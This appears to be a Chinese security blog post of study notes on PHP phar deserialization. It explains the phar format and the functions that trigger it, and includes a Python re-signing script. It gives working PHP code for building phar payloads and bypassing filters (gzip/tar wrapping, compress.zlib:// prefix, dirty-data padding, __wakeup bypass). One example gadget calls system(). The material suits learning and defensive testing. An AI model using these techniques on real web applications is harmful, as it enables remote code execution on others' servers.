php反序列化--phar篇
2023-08-29 19:40:44

参考链接

https://xz.aliyun.com/t/2958
https://www.cnblogs.com/CoLo/p/16786627.html
https://xz.aliyun.com/t/6699#toc-3
https://boogipop.com/2023/07/08/Phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%85%B6%E4%B8%80%E7%B3%BB%E5%88%97%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/

原理

想要知道为什么使用phar协议去读取phar文件会触发反序列化,需要先来了解一些前置知识。
看一眼phar文件的组成,这是翻译过的
image.png
https://www.php.net/manual/zh/phar.fileformat.ingredients.php

stub

image.png
stub就是

<?php __HALT_COMPILER();?>

一个phar文件必须要有此标识符,否则无法识别成phar

manifest describing the contents

image.png
内容本质上还是压缩文件,其中包含一些压缩信息,以及我们写入的序列化数据

the file contents

这里指的是被压缩文件的内容;

[optional] a signature for verifying Phar integrity (phar file format only)

phar文件的签名
image.png
签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密
不过通常用的都是sha1啊,当文件内容被修改时,就需要重新签名

from hashlib import sha1
with open('test.phar', 'rb') as file:
    f = file.read() 
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
    file.write(newf) # 写入新文件

Demo

<?php
    class TestObject {
    }
    $o = new TestObject();
  
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

    $phar->setMetadata($o); //将自定义的meta-data存入manifest,也就是将序列化数据写入文件

    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

注意点:php.ini中的phar.readonly要为off

当使用一些文件读取函数去配合phar协议读取phar文件时,即会触发phar反序列化,具体的流程大概是,识别到了phar头,进入处理phar文件的环节,PHP使用phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作。
这个要去看php底层源码,我不会欸,以后学了再来补。

触发

一些常规函数

image.png

Stream API

https://xz.aliyun.com/t/2958

stream = php_stream_open_wrapper_ex(filename, "rb",
                (use_include_path ? USE_PATH : 0) | REPORT_ERRORS,
                NULL, context);

可以注意,其使用的是php_stream系列API来打开一个文件。阅读PHP的这篇文档:Streams API for PHP Extension Authors,可知,Stream API是PHP中一种统一的处理文件的方法,并且其被设计为可扩展的,允许任意扩展作者使用。而本次事件的主角,也就是phar这个扩展,其就注册了phar://这个stream wrapper。可以使用stream_get_wrapper看到系统内注册了哪一些wrapper,但其余的没什么值得关注的。

php > var_dump(stream_get_wrappers());
array(12) {
  [0]=>
  string(5) "https"
  [1]=>
  string(4) "ftps"
  [2]=>
  string(13) "compress.zlib"
  [3]=>
  string(14) "compress.bzip2"
  [4]=>
  string(3) "php"
  [5]=>
  string(4) "file"
  [6]=>
  string(4) "glob"
  [7]=>
  string(4) "data"
  [8]=>
  string(4) "http"
  [9]=>
  string(3) "ftp"
  [10]=>
  string(4) "phar"
  [11]=>
  string(3) "zip"
}

因此,我们发现,一个 stream wrapper,它支持以下功能:打开文件(夹)、删除文件(夹)、重命名文件(夹),以及获取文件的meta。我们很容易就能断定,类似unlink等函数也是同样通过这个 streams api 进行操作。

下面就是一些php代码调试的一些函数,我就不太懂了,我这边就直接记录一下结果把

exif

  • exif_thumbnail
  • exif_imagetype

gd

  • imageloadfont
  • imagecreatefrom***

hash

  • hash_hmac_file
  • hash_file
  • hash_update_file
  • md5_file
  • sha1_file

file / url

  • get_meta_tags
  • get_headers

standard

  • getimagesize
  • getimagesizefromstring

zip

$zip = new ZipArchive(); 
$res = $zip->open('c.zip'); 
$zip->extractTo('phar://test.phar/test');

Postgres

<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

当然,pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能。

Mysql

Mysql的load data local infile也会触发php_stream_open_wrapper

<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');

Bypass

基础bypass

这里就大概讲一下,当ban了phar文件后缀时,可以直接对后缀进行更改,不影响phar协议的读取,因为他是通过数据中的stub头来判断的

如果ban了stub头,那么可以将phar文件进行一次压缩,建议使用linux的自带压缩gzip,使用windows的bandzip等会导致算法问题无法触发

gzip 1.zip 1.phar

配合phar://1.zip/1.phar

如果不允许以phar协议开头,那么可以带个其他协议

compress.zlib://phar://phar.phar/test.txt

绕过wakeup

通过010去修改其属性值,并用脚本重新签名

from hashlib import sha1
file = open('test.phar', 'rb').read()  # 需要重新生成签名的phar文件


data = file[:-28]  # 获取需要签名的据
final = file[-8:]  # 获取最后8GBMB标识和签名类型
newfile = data + sha1(data).digest() + final  # 数据 + 签名 + 类型 + GBMB
open('poc.phar', 'wb').write(newfile)  # 写入到新的phar文件

phar脏数据绕过

懒,纯纯复制pop爷博客

绕过头部脏数据

当文件上传之后,在文件数据前面拼接了脏数据,再进行文件函数配合phar协议读取时,就会因为签名原因导致无法反序列化,这种情况下,就需要在生成phar文件时,将已知的脏数据设置在stub中,计算完签名后将文件中的脏数据删除即可

<?php
class A{
}
$a=new A();
//前面的脏数据
$dirtydata = "dirty";

$phar = new Phar("phar.phar");
$phar->startBuffering();
//在stub头中添加脏数据
$phar->setStub($dirtydata."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
//添加压缩文件
$phar->addFromString("anything" , "test");
//自动计算签名
$phar->stopBuffering();

//读取phar文件
$exp = file_get_contents("./phar.phar");
$post_exp = substr($exp, strlen($dirtydata));
//删除脏数据头
$exp = file_put_contents("./break_phar.phar",$post_exp);
?>

测试

<?php

class A{
    public function __destruct()
    {
        echo "AAAA";
    }
}
$dirty="dirty";
$old=file_get_contents("./phar/break_phar.phar");
$new=$old.$dirty;

$new= $dirty.$old;
file_put_contents("./phar/new.phar",$new);
file_get_contents("phar://./phar/new.phar");

image.png

绕过尾部脏数据

也就是在文件数据尾部拼接脏数据,这个绕过起来就比较方便,不需要知道内容

使用tar格式自动忽略,因为tar格式有暂停解析位,在之后添加的数据都不会解析的。

<?php
class A{
}
$a=new A();

//因为用的tar格式,所以不需要指定stub头
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($a);
$phar->addFromString("test" , "test");
$phar->stopBuffering();

PharData的构造函数的参数
image.png
//那个0是啥我还真不知道

触发测试

<?php

class A{
    public function __destruct()
    {
        echo "AAAA";
    }
}
$dirty="dirty";
$old=file_get_contents("./phar/phar.tar");
$new=$old.$dirty;
file_put_contents("./phar/new.tar",$new);
file_get_contents("phar://./phar/new.tar");

image.png

绕过前后脏数据

两个加起来就行

<?php
class A{
}
$a=new A();
//前面的脏数据
$dirtydata="dirty";

$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($a);

//设置开头数据
$phar->addFromString($dirtydata , "test");
$phar->stopBuffering();

//读取原文件,截取,删除
$exp = file_get_contents("./phar.tar");
$post_exp = substr($exp, strlen($dirtydata));
$exp = file_put_contents("./break_phar.tar",$post_exp);
?>
<?php

class A{
    public function __destruct()
    {
        echo "AAA";
    }
}
$front="dirty";
$dirty="dirty";
$old=file_get_contents("./phar/break_phar.tar");
$new=$front.$old.$dirty;
file_put_contents("./phar/new.tar",$new);
file_get_contents("phar://./phar/new.tar");

image.png

Prev
2023-08-29 19:40:44
Next